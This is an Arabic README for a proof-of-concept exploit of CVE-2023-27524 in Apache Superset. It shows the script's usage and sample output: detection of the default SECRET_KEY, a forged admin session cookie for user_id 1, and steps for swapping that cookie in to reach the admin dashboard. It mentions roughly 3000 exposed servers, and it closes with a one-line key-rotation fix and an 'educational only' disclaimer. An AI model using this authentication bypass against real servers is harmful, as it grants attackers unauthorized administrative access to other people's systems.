
إثبات المفهوم لـ CVE-2023-27524 الجديد كليًا والذي يسمح بتجاوز المصادقة والوصول إلى لوحة تحكم المسؤول.
نص برمجي للتحقق مما إذا كان خادم Apache Superset معرضًا للثغرة (CVE-2023-27524)، وفي حال كان معرضًا، يتم تزوير كوكي جلسة باستخدام user_id = 1 والذي عادةً ما يكون المستخدم admin، مما يتيح تجاوز المصادقة والوصول إلى لوحة التحكم. حاليًا، هناك حوالي 3000 خادم حول العالم يعملون بنظام Apache Superset.
usage: python3 CVE-2023-27524.py --url URL
% python3 CVE-2023-27524.py --url http://10.1.221.202:8080
Got session cookie: eyJjc3JmX3Rva2VuIjoiZDBiYWI5ZmU0YTRjOWFiM2ZkMjc2YjA2ZDZiNWE0MDZmZmNkN2JkOCIsImxvY2FsZSI6ImVuIn0.ZEc0tw.X6y_rTie0yMP5oTFC6KNq8Me9ek
Decoded session cookie: {'csrf_token': 'd0bab9fe4a4c9ab3fd276b06d6b5a406ffcd7bd8', 'locale': 'en'}
Superset Version: 2.0.1
Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'
Forged session cookie for user 1: eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZEc0tw.xmzJjq757QujOpk65jK0dLgCSDg
Now visit the url: `http://10.1.221.202:8080/superset/welcome` and replace the current session cookie with this `eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZEc0tw.xmzJjq757QujOpk65jK0dLgCSDg` and refresh the page and we will be logged in as admin to the dashboard
اتبع التعليمات هنا لتوليد وتكوين SECRET_KEY خاص بـ Flask. يمكن استخدام أداة سطر الأوامر superset لتدوير SECRET_KEY بحيث يتم الحفاظ على معلومات اتصال قاعدة البيانات الحالية.
تم إنشاء هذا الإثبات لأغراض تعليمية فقط